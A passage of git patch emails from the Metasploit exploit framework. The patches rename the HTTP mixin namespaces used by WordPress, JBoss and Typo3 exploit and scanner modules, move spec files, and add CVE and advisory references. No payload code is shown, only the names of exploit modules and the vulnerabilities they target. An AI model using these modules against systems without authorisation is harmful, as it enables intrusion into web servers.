a/modules/exploits/unix/webapp/wp_nmediawebsite_file_upload.rb b/modules/exploits/unix/webapp/wp_nmediawebsite_file_upload.rb index 7ff6f74da6..806e529145 100644 --- a/modules/exploits/unix/webapp/wp_nmediawebsite_file_upload.rb +++ b/modules/exploits/unix/webapp/wp_nmediawebsite_file_upload.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::HTTP::Wordpress + include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Exploit::FileDropper def initialize(info = {}) diff --git a/modules/exploits/unix/webapp/wp_optimizepress_upload.rb b/modules/exploits/unix/webapp/wp_optimizepress_upload.rb index 6b4a35888b..a0a6ac4c0e 100644 --- a/modules/exploits/unix/webapp/wp_optimizepress_upload.rb +++ b/modules/exploits/unix/webapp/wp_optimizepress_upload.rb @@ -8,7 +8,7 @@ require 'uri' class Metasploit3 < Msf::Exploit::Remote - include Msf::HTTP::Wordpress + include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper diff --git a/modules/exploits/unix/webapp/wp_photo_gallery_unrestricted_file_upload.rb b/modules/exploits/unix/webapp/wp_photo_gallery_unrestricted_file_upload.rb index c3dd97fe3e..765e103f5a 100644 --- a/modules/exploits/unix/webapp/wp_photo_gallery_unrestricted_file_upload.rb +++ b/modules/exploits/unix/webapp/wp_photo_gallery_unrestricted_file_upload.rb @@ -11,7 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FileDropper - include Msf::HTTP::Wordpress + include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super(update_info( diff --git a/modules/exploits/unix/webapp/wp_pixabay_images_upload.rb b/modules/exploits/unix/webapp/wp_pixabay_images_upload.rb index 8ad684d180..48bc1b3f85 100644 --- a/modules/exploits/unix/webapp/wp_pixabay_images_upload.rb +++ b/modules/exploits/unix/webapp/wp_pixabay_images_upload.rb @@ -7,7 +7,7 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HttpClient - include Msf::HTTP::Wordpress + include Msf::Exploit::Remote::HTTP::Wordpress Rank = ExcellentRanking diff --git a/modules/exploits/unix/webapp/wp_platform_exec.rb b/modules/exploits/unix/webapp/wp_platform_exec.rb index 6440e24312..18118ed20c 100644 --- a/modules/exploits/unix/webapp/wp_platform_exec.rb +++ b/modules/exploits/unix/webapp/wp_platform_exec.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::HTTP::Wordpress + include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super(update_info( diff --git a/modules/exploits/unix/webapp/wp_property_upload_exec.rb b/modules/exploits/unix/webapp/wp_property_upload_exec.rb index b4f01b84c6..567ac81937 100644 --- a/modules/exploits/unix/webapp/wp_property_upload_exec.rb +++ b/modules/exploits/unix/webapp/wp_property_upload_exec.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::HTTP::Wordpress + include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Exploit::FileDropper def initialize(info = {}) diff --git a/modules/exploits/unix/webapp/wp_reflexgallery_file_upload.rb b/modules/exploits/unix/webapp/wp_reflexgallery_file_upload.rb index e18acea1b1..363b9441a4 100644 --- a/modules/exploits/unix/webapp/wp_reflexgallery_file_upload.rb +++ b/modules/exploits/unix/webapp/wp_reflexgallery_file_upload.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::HTTP::Wordpress + include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Exploit::FileDropper def initialize(info = {}) diff --git a/modules/exploits/unix/webapp/wp_revslider_upload_execute.rb b/modules/exploits/unix/webapp/wp_revslider_upload_execute.rb index e5a4994653..6ae240b2d9 100644 --- a/modules/exploits/unix/webapp/wp_revslider_upload_execute.rb +++ b/modules/exploits/unix/webapp/wp_revslider_upload_execute.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::HTTP::Wordpress + include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Exploit::FileDropper def initialize(info = {}) diff --git a/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb b/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb index 8124df7000..b1f4e67ad4 100644 --- a/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb +++ b/modules/exploits/unix/webapp/wp_slideshowgallery_upload.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::HTTP::Wordpress + include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Exploit::FileDropper def initialize(info = {}) diff --git a/modules/exploits/unix/webapp/wp_symposium_shell_upload.rb b/modules/exploits/unix/webapp/wp_symposium_shell_upload.rb index 146e9eee1f..f683aa071f 100644 --- a/modules/exploits/unix/webapp/wp_symposium_shell_upload.rb +++ b/modules/exploits/unix/webapp/wp_symposium_shell_upload.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FileDropper - include Msf::HTTP::Wordpress + include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super(update_info( diff --git a/modules/exploits/unix/webapp/wp_total_cache_exec.rb b/modules/exploits/unix/webapp/wp_total_cache_exec.rb index 6132ac8f52..a38a65f0f1 100644 --- a/modules/exploits/unix/webapp/wp_total_cache_exec.rb +++ b/modules/exploits/unix/webapp/wp_total_cache_exec.rb @@ -4,7 +4,7 @@ ## class Metasploit3 < Msf::Exploit::Remote - include Msf::HTTP::Wordpress + include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Exploit::Remote::HttpClient Rank = ExcellentRanking diff --git a/modules/exploits/unix/webapp/wp_worktheflow_upload.rb b/modules/exploits/unix/webapp/wp_worktheflow_upload.rb index a4c1c3a74c..20e9c182dc 100644 --- a/modules/exploits/unix/webapp/wp_worktheflow_upload.rb +++ b/modules/exploits/unix/webapp/wp_worktheflow_upload.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::HTTP::Wordpress + include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Exploit::FileDropper def initialize(info = {}) diff --git a/modules/exploits/unix/webapp/wp_wpshop_ecommerce_file_upload.rb b/modules/exploits/unix/webapp/wp_wpshop_ecommerce_file_upload.rb index bab8eb9934..d51f8957e1 100644 --- a/modules/exploits/unix/webapp/wp_wpshop_ecommerce_file_upload.rb +++ b/modules/exploits/unix/webapp/wp_wpshop_ecommerce_file_upload.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::HTTP::Wordpress + include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Exploit::FileDropper def initialize(info = {}) diff --git a/modules/exploits/unix/webapp/wp_wptouch_file_upload.rb b/modules/exploits/unix/webapp/wp_wptouch_file_upload.rb index 49bb972908..5643f7fef8 100644 --- a/modules/exploits/unix/webapp/wp_wptouch_file_upload.rb +++ b/modules/exploits/unix/webapp/wp_wptouch_file_upload.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::HTTP::Wordpress + include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Exploit::FileDropper def initialize(info = {}) diff --git a/modules/exploits/unix/webapp/wp_wysija_newsletters_upload.rb b/modules/exploits/unix/webapp/wp_wysija_newsletters_upload.rb index 3a66c6920b..e48bbf5a9d 100644 --- a/modules/exploits/unix/webapp/wp_wysija_newsletters_upload.rb +++ b/modules/exploits/unix/webapp/wp_wysija_newsletters_upload.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::HTTP::Wordpress + include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Exploit::FileDropper def initialize(info = {}) From d4cf9a4eb90646c15d2c8709550d8d2073a50a02 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 15 Oct 2015 11:48:27 -0500 Subject: [PATCH 0908/2172] Update moduels using Msf::HTTP::Typo3 --- modules/auxiliary/scanner/http/typo3_bruteforce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/typo3_bruteforce.rb b/modules/auxiliary/scanner/http/typo3_bruteforce.rb index 46aee2f1cf..c94347a9f9 100644 --- a/modules/auxiliary/scanner/http/typo3_bruteforce.rb +++ b/modules/auxiliary/scanner/http/typo3_bruteforce.rb @@ -7,7 +7,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::HTTP::Typo3 + include Msf::Exploit::Remote::HTTP::Typo3 include Msf::Auxiliary::Report include Msf::Auxiliary::AuthBrute include Msf::Auxiliary::Scanner From 451727062752e3d60855612ef8dc98ae2ba8b487 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 15 Oct 2015 11:49:15 -0500 Subject: [PATCH 0909/2172] Fix modules using Msf::HTTP::JBoss --- modules/auxiliary/admin/http/jboss_bshdeployer.rb | 2 +- modules/auxiliary/admin/http/jboss_deploymentfilerepository.rb | 2 +- modules/exploits/multi/http/jboss_bshdeployer.rb | 2 +- modules/exploits/multi/http/jboss_deploymentfilerepository.rb | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/admin/http/jboss_bshdeployer.rb b/modules/auxiliary/admin/http/jboss_bshdeployer.rb index 1c920a03a6..63883fbf56 100644 --- a/modules/auxiliary/admin/http/jboss_bshdeployer.rb +++ b/modules/auxiliary/admin/http/jboss_bshdeployer.rb @@ -7,7 +7,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::HTTP::JBoss + include Msf::Exploit::Remote::HTTP::JBoss def initialize super( diff --git a/modules/auxiliary/admin/http/jboss_deploymentfilerepository.rb b/modules/auxiliary/admin/http/jboss_deploymentfilerepository.rb index 810c74e7fe..64cbb4fa8b 100644 --- a/modules/auxiliary/admin/http/jboss_deploymentfilerepository.rb +++ b/modules/auxiliary/admin/http/jboss_deploymentfilerepository.rb @@ -7,7 +7,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::HTTP::JBoss + include Msf::Exploit::Remote::HTTP::JBoss def initialize super( diff --git a/modules/exploits/multi/http/jboss_bshdeployer.rb b/modules/exploits/multi/http/jboss_bshdeployer.rb index ed76c4d3d0..0fc393a14e 100644 --- a/modules/exploits/multi/http/jboss_bshdeployer.rb +++ b/modules/exploits/multi/http/jboss_bshdeployer.rb @@ -10,7 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote HttpFingerprint = { :pattern => [ /(Jetty|JBoss)/ ] } - include Msf::HTTP::JBoss + include Msf::Exploit::Remote::HTTP::JBoss def initialize(info = {}) super(update_info(info, diff --git a/modules/exploits/multi/http/jboss_deploymentfilerepository.rb b/modules/exploits/multi/http/jboss_deploymentfilerepository.rb index e45201dc4d..5e8d269d03 100644 --- a/modules/exploits/multi/http/jboss_deploymentfilerepository.rb +++ b/modules/exploits/multi/http/jboss_deploymentfilerepository.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote HttpFingerprint = { :pattern => [ /(Jetty|JBoss)/ ] } - include Msf::HTTP::JBoss + include Msf::Exploit::Remote::HTTP::JBoss def initialize(info = {}) super(update_info(info, From 1c4686eff0281371b85e0089ed1fa9fa5ca4fc31 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 15 Oct 2015 11:50:10 -0500 Subject: [PATCH 0910/2172] Move specs folder --- spec/lib/msf/{ => core/exploit}/http/jboss/base_spec.rb | 0 .../msf/{ => core/exploit}/http/jboss/bean_shell_scripts_spec.rb | 0 spec/lib/msf/{ => core/exploit}/http/jboss/bean_shell_spec.rb | 0 .../http/jboss/deployment_file_repository_scripts_spec.rb | 0 .../exploit}/http/jboss/deployment_file_repository_spec.rb | 0 spec/lib/msf/{ => core/exploit}/http/typo3_spec.rb | 0 spec/lib/msf/{ => core/exploit}/http/wordpress/base_spec.rb | 0 spec/lib/msf/{ => core/exploit}/http/wordpress/login_spec.rb | 0 spec/lib/msf/{ => core/exploit}/http/wordpress/version_spec.rb | 0 9 files changed, 0 insertions(+), 0 deletions(-) rename spec/lib/msf/{ => core/exploit}/http/jboss/base_spec.rb (100%) rename spec/lib/msf/{ => core/exploit}/http/jboss/bean_shell_scripts_spec.rb (100%) rename spec/lib/msf/{ => core/exploit}/http/jboss/bean_shell_spec.rb (100%) rename spec/lib/msf/{ => core/exploit}/http/jboss/deployment_file_repository_scripts_spec.rb (100%) rename spec/lib/msf/{ => core/exploit}/http/jboss/deployment_file_repository_spec.rb (100%) rename spec/lib/msf/{ => core/exploit}/http/typo3_spec.rb (100%) rename spec/lib/msf/{ => core/exploit}/http/wordpress/base_spec.rb (100%) rename spec/lib/msf/{ => core/exploit}/http/wordpress/login_spec.rb (100%) rename spec/lib/msf/{ => core/exploit}/http/wordpress/version_spec.rb (100%) diff --git a/spec/lib/msf/http/jboss/base_spec.rb b/spec/lib/msf/core/exploit/http/jboss/base_spec.rb similarity index 100% rename from spec/lib/msf/http/jboss/base_spec.rb rename to spec/lib/msf/core/exploit/http/jboss/base_spec.rb diff --git a/spec/lib/msf/http/jboss/bean_shell_scripts_spec.rb b/spec/lib/msf/core/exploit/http/jboss/bean_shell_scripts_spec.rb similarity index 100% rename from spec/lib/msf/http/jboss/bean_shell_scripts_spec.rb rename to spec/lib/msf/core/exploit/http/jboss/bean_shell_scripts_spec.rb diff --git a/spec/lib/msf/http/jboss/bean_shell_spec.rb b/spec/lib/msf/core/exploit/http/jboss/bean_shell_spec.rb similarity index 100% rename from spec/lib/msf/http/jboss/bean_shell_spec.rb rename to spec/lib/msf/core/exploit/http/jboss/bean_shell_spec.rb diff --git a/spec/lib/msf/http/jboss/deployment_file_repository_scripts_spec.rb b/spec/lib/msf/core/exploit/http/jboss/deployment_file_repository_scripts_spec.rb similarity index 100% rename from spec/lib/msf/http/jboss/deployment_file_repository_scripts_spec.rb rename to spec/lib/msf/core/exploit/http/jboss/deployment_file_repository_scripts_spec.rb diff --git a/spec/lib/msf/http/jboss/deployment_file_repository_spec.rb b/spec/lib/msf/core/exploit/http/jboss/deployment_file_repository_spec.rb similarity index 100% rename from spec/lib/msf/http/jboss/deployment_file_repository_spec.rb rename to spec/lib/msf/core/exploit/http/jboss/deployment_file_repository_spec.rb diff --git a/spec/lib/msf/http/typo3_spec.rb b/spec/lib/msf/core/exploit/http/typo3_spec.rb similarity index 100% rename from spec/lib/msf/http/typo3_spec.rb rename to spec/lib/msf/core/exploit/http/typo3_spec.rb diff --git a/spec/lib/msf/http/wordpress/base_spec.rb b/spec/lib/msf/core/exploit/http/wordpress/base_spec.rb similarity index 100% rename from spec/lib/msf/http/wordpress/base_spec.rb rename to spec/lib/msf/core/exploit/http/wordpress/base_spec.rb diff --git a/spec/lib/msf/http/wordpress/login_spec.rb b/spec/lib/msf/core/exploit/http/wordpress/login_spec.rb similarity index 100% rename from spec/lib/msf/http/wordpress/login_spec.rb rename to spec/lib/msf/core/exploit/http/wordpress/login_spec.rb diff --git a/spec/lib/msf/http/wordpress/version_spec.rb b/spec/lib/msf/core/exploit/http/wordpress/version_spec.rb similarity index 100% rename from spec/lib/msf/http/wordpress/version_spec.rb rename to spec/lib/msf/core/exploit/http/wordpress/version_spec.rb From 773b523d27ddd554b221813d33e674fec165f882 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 15 Oct 2015 11:54:36 -0500 Subject: [PATCH 0911/2172] Fix namespaces in specs --- spec/lib/msf/core/exploit/http/jboss/base_spec.rb | 6 +++--- .../msf/core/exploit/http/jboss/bean_shell_scripts_spec.rb | 6 +++--- spec/lib/msf/core/exploit/http/jboss/bean_shell_spec.rb | 6 +++--- .../http/jboss/deployment_file_repository_scripts_spec.rb | 6 +++--- .../exploit/http/jboss/deployment_file_repository_spec.rb | 6 +++--- spec/lib/msf/core/exploit/http/typo3_spec.rb | 4 ++-- spec/lib/msf/core/exploit/http/wordpress/base_spec.rb | 6 +++--- spec/lib/msf/core/exploit/http/wordpress/login_spec.rb | 6 +++--- spec/lib/msf/core/exploit/http/wordpress/version_spec.rb | 6 +++--- 9 files changed, 26 insertions(+), 26 deletions(-) diff --git a/spec/lib/msf/core/exploit/http/jboss/base_spec.rb b/spec/lib/msf/core/exploit/http/jboss/base_spec.rb index 9e22a7aaca..db6472f006 100644 --- a/spec/lib/msf/core/exploit/http/jboss/base_spec.rb +++ b/spec/lib/msf/core/exploit/http/jboss/base_spec.rb @@ -2,12 +2,12 @@ require 'spec_helper' require 'msf/core' -require 'msf/http/jboss' +require 'msf/core/exploit/http/jboss' -describe Msf::HTTP::JBoss::Base do +describe Msf::Exploit::Remote::HTTP::JBoss::Base do subject do mod = ::Msf::Exploit.new - mod.extend Msf::HTTP::JBoss + mod.extend Msf::Exploit::Remote::HTTP::JBoss mod.send(:initialize) mod end diff --git a/spec/lib/msf/core/exploit/http/jboss/bean_shell_scripts_spec.rb b/spec/lib/msf/core/exploit/http/jboss/bean_shell_scripts_spec.rb index 0d136b1913..dc9d7e9351 100644 --- a/spec/lib/msf/core/exploit/http/jboss/bean_shell_scripts_spec.rb +++ b/spec/lib/msf/core/exploit/http/jboss/bean_shell_scripts_spec.rb @@ -2,12 +2,12 @@ require 'spec_helper' require 'msf/core' -require 'msf/http/jboss' +require 'msf/core/exploit/http/jboss' -describe Msf::HTTP::JBoss::BeanShellScripts do +describe Msf::Exploit::Remote::HTTP::JBoss::BeanShellScripts do subject do mod = ::Msf::Exploit.new - mod.extend Msf::HTTP::JBoss + mod.extend Msf::Exploit::Remote::HTTP::JBoss mod.send(:initialize) mod end diff --git a/spec/lib/msf/core/exploit/http/jboss/bean_shell_spec.rb b/spec/lib/msf/core/exploit/http/jboss/bean_shell_spec.rb index da51447953..cec971646e 100644 --- a/spec/lib/msf/core/exploit/http/jboss/bean_shell_spec.rb +++ b/spec/lib/msf/core/exploit/http/jboss/bean_shell_spec.rb @@ -2,13 +2,13 @@ require 'spec_helper' require 'msf/core' -require 'msf/http/jboss' +require 'msf/core/exploit/http/jboss' -describe Msf::HTTP::JBoss::BeanShell do +describe Msf::Exploit::Remote::HTTP::JBoss::BeanShell do subject do mod = ::Msf::Exploit.new - mod.extend Msf::HTTP::JBoss + mod.extend Msf::Exploit::Remote::HTTP::JBoss mod.send(:initialize) mod end diff --git a/spec/lib/msf/core/exploit/http/jboss/deployment_file_repository_scripts_spec.rb b/spec/lib/msf/core/exploit/http/jboss/deployment_file_repository_scripts_spec.rb index 745e3231ee..e16ce384e3 100644 --- a/spec/lib/msf/core/exploit/http/jboss/deployment_file_repository_scripts_spec.rb +++ b/spec/lib/msf/core/exploit/http/jboss/deployment_file_repository_scripts_spec.rb @@ -2,12 +2,12 @@ require 'spec_helper' require 'msf/core' -require 'msf/http/jboss' +require 'msf/core/exploit/http/jboss' -describe Msf::HTTP::JBoss::DeploymentFileRepositoryScripts do +describe Msf::Exploit::Remote::HTTP::JBoss::DeploymentFileRepositoryScripts do subject do mod = ::Msf::Exploit.new - mod.extend Msf::HTTP::JBoss + mod.extend Msf::Exploit::Remote::HTTP::JBoss mod.send(:initialize) mod end diff --git a/spec/lib/msf/core/exploit/http/jboss/deployment_file_repository_spec.rb b/spec/lib/msf/core/exploit/http/jboss/deployment_file_repository_spec.rb index 234e5b0f06..8644b235fc 100644 --- a/spec/lib/msf/core/exploit/http/jboss/deployment_file_repository_spec.rb +++ b/spec/lib/msf/core/exploit/http/jboss/deployment_file_repository_spec.rb @@ -2,13 +2,13 @@ require 'spec_helper' require 'msf/core' -require 'msf/http/jboss' +require 'msf/core/exploit/http/jboss' -describe Msf::HTTP::JBoss::DeploymentFileRepository do +describe Msf::Exploit::Remote::HTTP::JBoss::DeploymentFileRepository do subject do mod = ::Msf::Exploit.new - mod.extend Msf::HTTP::JBoss + mod.extend Msf::Exploit::Remote::HTTP::JBoss mod.send(:initialize) mod end diff --git a/spec/lib/msf/core/exploit/http/typo3_spec.rb b/spec/lib/msf/core/exploit/http/typo3_spec.rb index 329302b4f4..f1f9740871 100644 --- a/spec/lib/msf/core/exploit/http/typo3_spec.rb +++ b/spec/lib/msf/core/exploit/http/typo3_spec.rb @@ -3,9 +3,9 @@ require 'spec_helper' require 'msf/core' require 'rex/proto/http/response' -require 'msf/http/typo3' +require 'msf/core/exploit/http/typo3' -describe Msf::HTTP::Typo3 do +describe Msf::Exploit::Remote::HTTP::Typo3 do subject do mod = ::Msf::Module.new mod.extend described_class diff --git a/spec/lib/msf/core/exploit/http/wordpress/base_spec.rb b/spec/lib/msf/core/exploit/http/wordpress/base_spec.rb index 596042370e..e89f0e1e26 100644 --- a/spec/lib/msf/core/exploit/http/wordpress/base_spec.rb +++ b/spec/lib/msf/core/exploit/http/wordpress/base_spec.rb @@ -4,12 +4,12 @@ require 'spec_helper' require 'msf/core' require 'msf/core/exploit' require 'rex/proto/http/response' -require 'msf/http/wordpress' +require 'msf/core/exploit/http/wordpress' -describe Msf::HTTP::Wordpress::Base do +describe Msf::Exploit::Remote::HTTP::Wordpress::Base do subject do mod = ::Msf::Exploit.new - mod.extend ::Msf::HTTP::Wordpress + mod.extend ::Msf::Exploit::Remote::HTTP::Wordpress mod.send(:initialize) mod end diff --git a/spec/lib/msf/core/exploit/http/wordpress/login_spec.rb b/spec/lib/msf/core/exploit/http/wordpress/login_spec.rb index 6b726fa710..931219060f 100644 --- a/spec/lib/msf/core/exploit/http/wordpress/login_spec.rb +++ b/spec/lib/msf/core/exploit/http/wordpress/login_spec.rb @@ -4,12 +4,12 @@ require 'spec_helper' require 'msf/core' require 'msf/core/exploit' require 'rex/proto/http/response' -require 'msf/http/wordpress' +require 'msf/core/exploit/http/wordpress' -describe Msf::HTTP::Wordpress::Login do +describe Msf::Exploit::Remote::HTTP::Wordpress::Login do subject do mod = ::Msf::Exploit.new - mod.extend ::Msf::HTTP::Wordpress + mod.extend ::Msf::Exploit::Remote::HTTP::Wordpress mod.send(:initialize) mod end diff --git a/spec/lib/msf/core/exploit/http/wordpress/version_spec.rb b/spec/lib/msf/core/exploit/http/wordpress/version_spec.rb index 1ef81695c1..9a48bf8f48 100644 --- a/spec/lib/msf/core/exploit/http/wordpress/version_spec.rb +++ b/spec/lib/msf/core/exploit/http/wordpress/version_spec.rb @@ -4,12 +4,12 @@ require 'spec_helper' require 'msf/core' require 'msf/core/exploit' require 'rex/proto/http/response' -require 'msf/http/wordpress' +require 'msf/core/exploit/http/wordpress' -describe Msf::HTTP::Wordpress::Version do +describe Msf::Exploit::Remote::HTTP::Wordpress::Version do subject do mod = ::Msf::Exploit.new - mod.extend ::Msf::HTTP::Wordpress + mod.extend ::Msf::Exploit::Remote::HTTP::Wordpress mod.send(:initialize) mod end From 67820f8b61ba96d1bb810e3ec60e2b5472cd4024 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 15 Oct 2015 12:42:59 -0500 Subject: [PATCH 0912/2172] Fix Packetstorm references --- modules/auxiliary/scanner/http/wp_simple_backup_file_read.rb | 2 +- .../auxiliary/scanner/http/wp_subscribe_comments_file_read.rb | 2 +- modules/exploits/unix/webapp/wp_holding_pattern_file_upload.rb | 2 +- modules/exploits/unix/webapp/wp_worktheflow_upload.rb | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/scanner/http/wp_simple_backup_file_read.rb b/modules/auxiliary/scanner/http/wp_simple_backup_file_read.rb index 68615dfb1a..4c8334e289 100644 --- a/modules/auxiliary/scanner/http/wp_simple_backup_file_read.rb +++ b/modules/auxiliary/scanner/http/wp_simple_backup_file_read.rb @@ -22,7 +22,7 @@ class Metasploit3 < Msf::Auxiliary 'References' => [ ['WPVDB', '7997'], - ['URL', 'http://packetstormsecurity.com/files/131919/'] + ['PACKETSTORM', '131919'] ], 'Author' => [ diff --git a/modules/auxiliary/scanner/http/wp_subscribe_comments_file_read.rb b/modules/auxiliary/scanner/http/wp_subscribe_comments_file_read.rb index f554f8d3c9..78e9e72086 100644 --- a/modules/auxiliary/scanner/http/wp_subscribe_comments_file_read.rb +++ b/modules/auxiliary/scanner/http/wp_subscribe_comments_file_read.rb @@ -22,7 +22,7 @@ class Metasploit3 < Msf::Auxiliary 'References' => [ ['WPVDB', '8102'], - ['URL', 'http://packetstormsecurity.com/files/132694/'], + ['PACKETSTORM', '132694'], ['URL', 'https://security.dxw.com/advisories/admin-only-local-file-inclusion-and-arbitrary-code-execution-in-subscribe-to-comments-2-1-2/'] ], 'Author' => diff --git a/modules/exploits/unix/webapp/wp_holding_pattern_file_upload.rb b/modules/exploits/unix/webapp/wp_holding_pattern_file_upload.rb index a9d966d9cd..50f0daf8e2 100644 --- a/modules/exploits/unix/webapp/wp_holding_pattern_file_upload.rb +++ b/modules/exploits/unix/webapp/wp_holding_pattern_file_upload.rb @@ -33,7 +33,7 @@ class Metasploit3 < Msf::Exploit::Remote [ ['CVE', '2015-1172'], ['WPVDB', '7784'], - ['URL', 'http://packetstormsecurity.com/files/130282/WordPress-Holding-Pattern-0.6-Shell-Upload.html'] + ['PACKETSTORM', '130282'] ], 'DisclosureDate' => 'Feb 11 2015', 'Platform' => 'php', diff --git a/modules/exploits/unix/webapp/wp_worktheflow_upload.rb b/modules/exploits/unix/webapp/wp_worktheflow_upload.rb index 20e9c182dc..cba67e8185 100644 --- a/modules/exploits/unix/webapp/wp_worktheflow_upload.rb +++ b/modules/exploits/unix/webapp/wp_worktheflow_upload.rb @@ -28,7 +28,7 @@ class Metasploit3 < Msf::Exploit::Remote [ ['WPVDB', '7883'], ['EDB', '36640'], - ['URL', 'http://packetstormsecurity.com/files/131294/WordPress-Work-The-Flow-2.5.2-Shell-Upload.html'] + ['PACKETSTORM', '131294'] ], 'Privileged' => false, 'Platform' => 'php', From bd96e0ded2fa29d1d5c23fb06d27499daa97290f Mon Sep 17 00:00:00 2001 From: William Vu Date: Thu, 15 Oct 2015 16:14:20 -0500 Subject: [PATCH 0913/2172] Improve get_hash for Framework version --- lib/metasploit/framework/version.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index 033add379b..a5e3256a3c 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -18,12 +18,12 @@ module Metasploit hash = '-' + version_info['build_framework_rev'] else # determine if git is installed - void = RbConfig::CONFIG['host_os'] =~ /mswin|mingw/ ? 'NUL' : '/dev/null' - git_installed = system("git --version >>#{void} 2>&1") + null = RbConfig::CONFIG['host_os'] =~ /mswin|mingw/ ? 'NUL' : '/dev/null' + git_installed = system("git --version > #{null} 2>&1") # get the hash of the HEAD commit if git_installed && File.exist?(File.join(root, '.git')) - hash = '-' + `git rev-parse HEAD`[0, 8] + hash = '-' + `git rev-parse --short HEAD` end end hash.strip From 6a1553ae63fcb3b3301aa5d52f32c72eb04a31d9 Mon Sep 17 00:00:00 2001 From: xistence Date: Fri, 16 Oct 2015 10:23:20 +0700 Subject: [PATCH 0914/2172] Add EDB/CVE/URL references to arkeia_agent_exec --- modules/exploits/multi/misc/arkeia_agent_exec.rb | 3 +++ 1 file changed, 3 insertions(+) diff --git a/modules/exploits/multi/misc/arkeia_agent_exec.rb b/modules/exploits/multi/misc/arkeia_agent_exec.rb index 8570d5745b..5f709764b8 100644 --- a/modules/exploits/multi/misc/arkeia_agent_exec.rb +++ b/modules/exploits/multi/misc/arkeia_agent_exec.rb @@ -32,6 +32,9 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ + [ 'CVE', '2015-7709' ], + [ 'EDB', '37600' ], + [ 'URL', 'http://seclists.org/fulldisclosure/2015/Jul/54' ] ], 'Privileged' => true, 'Stance' => Msf::Exploit::Stance::Aggressive, From b1f2e40b9804dc4ecad562cd895c567ae394adaf Mon Sep 17 00:00:00 2001 From: xistence Date: Fri, 16 Oct 2015 10:36:13 +0700 Subject: [PATCH 0915/2172] Add CVE/URL references to module manage_engine_opmanager_rce --- modules/exploits/windows/http/manage_engine_opmanager_rce.rb | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/modules/exploits/windows/http/manage_engine_opmanager_rce.rb b/modules/exploits/windows/http/manage_engine_opmanager_rce.rb index 7af2821d23..14391ebab3 100644 --- a/modules/exploits/windows/http/manage_engine_opmanager_rce.rb +++ b/modules/exploits/windows/http/manage_engine_opmanager_rce.rb @@ -31,6 +31,10 @@ class Metasploit3 < Msf::Exploit::Remote 'References' => [ [ 'EDB', '38174' ], + [ 'CVE', '2015-7765' ], # Hardcoded password + [ 'CVE', '2015-7766' ], # SQL query bypass + [ 'URL', 'http://seclists.org/fulldisclosure/2015/Sep/66' ], + [ 'URL', 'https://support.zoho.com/portal/manageengine/helpcenter/articles/pgsql-submitquery-do-vulnerability' ] ], 'Platform' => ['java'], 'Arch' => ARCH_JAVA, From 018b5151504d9ed59b9d3e8734f0481de35aea4e Mon Sep 17 00:00:00 2001 From: xistence Date: Fri, 16 Oct 2015 10:41:39 +0700 Subject: [PATCH 0916/2172] Add CVE/URL references to manageengine_eventlog_analyzer_rce --- 